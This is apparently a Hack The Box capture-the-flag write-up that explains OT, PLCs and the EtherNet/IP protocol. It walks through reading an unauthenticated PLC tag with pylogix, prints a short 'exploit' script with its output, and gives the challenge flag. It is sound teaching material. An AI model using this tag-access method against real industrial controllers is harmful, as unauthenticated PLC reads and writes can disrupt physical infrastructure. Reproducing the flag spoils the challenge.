Ether Tag (HTB)
- Category: ICS / OT Security
- Difficulty: Very Easy
- Flag:
HTB{3th3rn3t1p_pwn3d}
1. Challenge Overview
We are dropped into a simulated Operational Technology (OT) network environment — the kind of network that controls real-world infrastructure like water treatment plants, power grids, and factory floors.
Given Information
- Target IP:
154.57.164.80 - Target Port:
31152 - Protocol: EtherNet/IP
- Goal: Read the
FLAGtag from the PLC
Objective
Connect to the EtherNet/IP controller, communicate using the correct industrial protocol, and extract the value stored in a memory variable called FLAG.
2. Background Concepts
2.1 IT vs OT — What's the Difference?
Most people in cybersecurity are familiar with IT (Information Technology) — this is the world of servers, databases, web apps, and corporate networks. The goal of IT is to process, store, and transmit data.
OT (Operational Technology) is fundamentally different. OT deals with systems that interact with the physical world. Instead of moving data around, OT systems move atoms — they open valves, spin motors, flip switches, and monitor sensors.
Why does this matter for security?
A breach in IT might leak data. A breach in OT might shut down a power grid, poison a water supply, or destroy industrial machinery. The stakes are fundamentally higher.
2.2 ICS — Industrial Control Systems
ICS (Industrial Control Systems) is the umbrella term for the entire ecosystem of hardware and software used to monitor and automate industrial processes. Think of it as OT's architecture.
A typical ICS setup looks like this:
codeLevel 4: Enterprise Network (Business IT) │ Level 3: Site Operations (SCADA Servers, Historians) │ Level 2: Supervisory (HMI — Human Machine Interface) │ Level 1: Control (PLCs, RTUs — the actual controllers) │ Level 0: Field Devices (Sensors, Pumps, Valves, Motors)
This layered architecture is known as the Purdue Reference Model — a standard framework for ICS network segmentation. In this challenge, we are attacking at Level 1, communicating directly with a PLC controller.
2.3 PLC — Programmable Logic Controller
The PLC (Programmable Logic Controller) is the heart of most ICS environments. It is a rugged, specialized industrial computer designed to:
- Read inputs from field sensors (e.g., "Is the temperature above 80°C?")
- Execute logic (e.g., "IF temperature > 80 THEN turn on cooling fan")
- Send outputs to actuators (e.g., actually switching the cooling fan ON)
PLCs run in a tight, deterministic loop called the scan cycle:
code┌──────────────────────────────────────────────────────────┐ │ SCAN CYCLE │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────────┐ │ │ │ READ │───▶│ EXECUTE │───▶│ WRITE OUTPUTS │ │ │ │ INPUTS │ │ LOGIC │ │ (to actuators) │ │ │ └──────────┘ └──────────┘ └──────────────────┘ │ │ ▲ │ │ │ └───────────────────────────────────┘ │ │ (repeat every ~10ms) │ └──────────────────────────────────────────────────────────┘
Unlike a normal computer that runs a full operating system, PLCs prioritize real-time, deterministic execution above all else. Missing a timing cycle in an OT system can have catastrophic physical consequences.
Allen-Bradley / Rockwell Automation PLCs (like ControlLogix and CompactLogix) are among the most widely deployed in the world — and they predominantly use EtherNet/IP as their communication protocol.
2.4 EtherNet/IP (ENIP)
⚠️ Common Misconception: Despite the name, EtherNet/IP does not stand for "Ethernet Internet Protocol." The "IP" stands for Industrial Protocol.
EtherNet/IP (ENIP) is an industrial application-layer protocol developed by Rockwell Automation and standardized by ODVA. It is designed to carry industrial control messages over standard TCP/IP and UDP/IP network infrastructure.
Protocol Stack Comparison
codeTraditional Web Traffic: EtherNet/IP Traffic: ┌───────────────────┐ ┌───────────────────┐ │ HTTP / HTTPS │ │ CIP (payload) │ ← Application Layer ├───────────────────┤ ├───────────────────┤ │ TCP / UDP │ │ TCP / UDP │ ← Transport Layer ├───────────────────┤ ├───────────────────┤ │ IP │ │ IP │ ← Network Layer ├───────────────────┤ ├───────────────────┤ │ Ethernet │ │ Ethernet │ ← Data Link Layer └───────────────────┘ └───────────────────┘
EtherNet/IP's major advantage is that it reuses existing TCP/IP infrastructure (standard switches, routers, cables), which dramatically lowered the cost for industrial adoption.
Key Ports
- 44818 / TCP — Explicit Messaging (default EtherNet/IP port)
- 2222 / UDP — Implicit / I/O Messaging (real-time streaming)
- 31152 / TCP — Non-standard port used in this challenge, same protocol underneath
In this challenge, the target listens on port
31152— a non-standard port, but the ENIP protocol beneath is identical.
2.5 CIP — Common Industrial Protocol
CIP (Common Industrial Protocol) is the actual language that EtherNet/IP carries. Think of the relationship like this:
- EtherNet/IP = the envelope and postal system
- CIP = the actual letter being sent
CIP defines how to request data, how to write data, and how devices describe their own capabilities. It uses an object-oriented model where every piece of data or function on a device is represented as an "object" with attributes.
There are two main types of CIP communication:
Explicit Messaging — Request → Response. You ask for a specific piece of data, the PLC replies. This is like making an API call — on-demand, synchronous. This is what we use in this challenge.
Implicit (I/O) Messaging — Continuous data streaming at a defined rate, without sending individual requests each time. This is like a live WebSocket feed — great for real-time sensor data.
In this challenge, we use Explicit Messaging — we send a read request for the FLAG tag, and the PLC sends back the value.
2.6 Tags vs Memory Addresses
This is one of the most important conceptual differences between older and modern industrial protocols.
Old Approach — Modbus (Raw Memory Addresses)
The classic protocol Modbus (developed in 1979) exposes data as raw memory addresses:
code# Reading Holding Register 40001 in Modbus — what does this value represent? client.read_holding_registers(0, 1) # You'd need a separate document to know this = "Tank Level in millimeters"
This is opaque, error-prone, and requires external documentation to interpret.
Modern Approach — EtherNet/IP Tags (Named Variables)
Modern PLCs using EtherNet/IP use Tags — symbolic, named variables mapped to memory locations. This is conceptually identical to a variable in any programming language:
codeTAG NAME DATA TYPE DESCRIPTION ──────────── ───────── ───────────────────────────── FLAG SINT[50] The CTF flag stored as ASCII integers Pump_Speed REAL Speed of pump in RPM Tank_Level DINT Tank level in millimeters Valve_Open BOOL TRUE if valve is currently open
When you read FLAG, the PLC knows exactly where in memory FLAG lives and returns the value. No guessing, no memory maps needed.
For attackers: Tags are a goldmine. They're self-describing. If you can enumerate a PLC's tag list, you immediately understand what the system controls — without needing any documentation.
2.7 Data Types: SINT Arrays and ASCII Encoding
PLCs have a strict type system. Every tag has a defined data type. Here are the most common numeric types:
- BOOL (Boolean) — 1 bit, values:
0or1 - SINT (Short Integer) — 8 bits, range:
-128to127 - INT (Integer) — 16 bits, range:
-32,768to32,767 - DINT (Double Integer) — 32 bits, range:
-2,147,483,648to2,147,483,647 - REAL (Floating Point) — 32 bits, IEEE 754 float
Why Store a String as a SINT Array?
PLCs don't natively handle strings the same way high-level languages do. A common approach is to store text as a SINT array (or INT array), where each element holds the ASCII decimal value of one character.
ASCII — American Standard Code for Information Interchange
ASCII is a character encoding standard that maps every printable character to a number between 0 and 127:
codeDecimal Hex Character ─────── ─── ───────── 72 0x48 H 84 0x54 T 66 0x42 B 123 0x7B { ... 125 0x7D } 0 0x00 NULL (padding)
So the string "HTB{" is stored as the integer array [72, 84, 66, 123].
This is exactly what we discovered in the challenge — and converting it back is a one-liner in Python using the built-in chr() function, which does the reverse mapping (integer → character).
3. Attack Path
Phase 1 — Tool Selection
Standard networking tools (curl, netcat, telnet) won't work here because they don't speak the CIP/EtherNet/IP protocol. You'd be sending raw bytes with no protocol framing — the PLC would ignore or reject them.
We need a tool that implements the full EtherNet/IP + CIP protocol stack.
Why pylogix?
pylogix is an open-source Python library built specifically to communicate with Allen-Bradley PLCs using EtherNet/IP. It abstracts away the complex protocol details and exposes a clean Python API.
codepip install pylogix
It handles all of the following automatically:
- EtherNet/IP session registration
- CIP message construction and parsing
- Tag read/write operations
- Array reads (multiple elements in one request)
- Data type negotiation
Alternatives Worth Knowing
pylogix(Python) — Best for scripting, clean tag read/write APIcpppo(Python) — Lower-level EtherNet/IP implementation, more controlEtherScan— Enumeration-focused, useful for discovery- Wireshark — CIP/ENIP dissectors built in, great for traffic analysis
Phase 2 — Initial Read and the "72" Anomaly
We started with the most basic possible read command:
codefrom pylogix import PLC with PLC() as comm: comm.IPAddress = '154.57.164.80' comm.Port = 31152 result = comm.Read('FLAG') print(result.Value)
Output:
code72
This is not an error. But it's also not a flag.
Breaking Down the Anomaly
The PLC returned a single integer: 72.
As a security researcher, pattern recognition is everything. The number 72 should immediately trigger a mental lookup:
code72 (decimal) → 0x48 (hex) → 'H' (ASCII)
H is the first character of HTB{ — the Hack The Box flag format. This tells us:
FLAGis stored as a SINT array (array of 8-bit integers)comm.Read('FLAG')without specifying a count returns only element at index 0- The data is ASCII-encoded — integers that map to characters
This is actually a realistic scenario. Many PLCs store string data this way, especially older ones or those configured to interface with legacy systems.
Phase 3 — Array Extraction and Decoding
Now that we understand the data structure, we need to read all elements of the array, not just index 0.
pylogix's Read() method accepts a second argument — the number of elements to read:
coderesult = comm.Read('FLAG', 50) # Read first 50 elements of the array
Raw Output:
code[72, 84, 66, 123, 51, 116, 104, 51, 114, 110, 51, 116, 49, 112, 95, 112, 119, 110, 51, 100, 125, 0, 0, 0, ...]
Let's map every non-zero value:
codeIndex: 0 1 2 3 4 5 6 7 8 9 10 11 ... 20 Value: 72 84 66 123 51 116 104 51 114 110 51 116 ... 125 Char: 'H' 'T' 'B' '{' '3' 't' 'h' '3' 'r' 'n' '3' 't' ... '}'
The Decode Step
Python's chr() function converts an ASCII integer to its character. We iterate the list, skip null bytes (0), and join everything into a string:
codeflag_string = ''.join([chr(byte) for byte in result.Value if byte != 0])
This is a list comprehension — a compact Python loop that:
- Iterates
byteover every item inresult.Value - Skips any
byteequal to0(null padding at the end of the array) - Converts each remaining integer to a character with
chr(byte) - Joins all characters into a single string with
''.join(...)
Result:
codeHTB{3th3rn3t1p_pwn3d}
4. Final Exploit Script
codefrom pylogix import PLC def exploit(): with PLC() as comm: comm.IPAddress = '154.57.164.80' comm.Port = 31152 print(f"[*] Connecting to target {comm.IPAddress}:{comm.Port}...") result = comm.Read('FLAG', 50) if result.Status == 'Success': print(f"[+] Read successful. Raw SINT array: {result.Value}") flag_string = ''.join([chr(byte) for byte in result.Value if byte != 0]) print(f"[+] Decoded flag: {flag_string}") else: print(f"[-] Read failed. Status: {result.Status}") print(f"[-] Tip: Check IP, port, and that the target is reachable.") if __name__ == "__main__": exploit()
Running the Script:
code$ python3 exploit.py [*] Connecting to target 154.57.164.80:31152... [+] Read successful. Raw SINT array: [72, 84, 66, 123, 51, 116, 104, 51, 114, 110, 51, 116, 49, 112, 95, 112, 119, 110, 51, 100, 125, 0, 0, ...] [+] Decoded flag: HTB{3th3rn3t1p_pwn3d}
5. Key Takeaways
OT devices are network-accessible — PLCs listening on TCP are reachable from anywhere with network access. There is often no authentication by default, meaning anyone who can reach the port can read or write tags freely.
Tag names are self-documenting — An attacker who can enumerate a PLC's tags immediately understands what the industrial process does. Tags like Valve_Open, Pump_Speed, or Emergency_Stop leave nothing to the imagination.
No encryption by default — EtherNet/IP traffic is transmitted in plaintext. All read and write operations are fully visible on the wire to anyone capturing traffic on the network.
Authentication is rare — Many PLCs, especially older deployments, accept any CIP read/write command with no challenge. There is no username, no password, no token.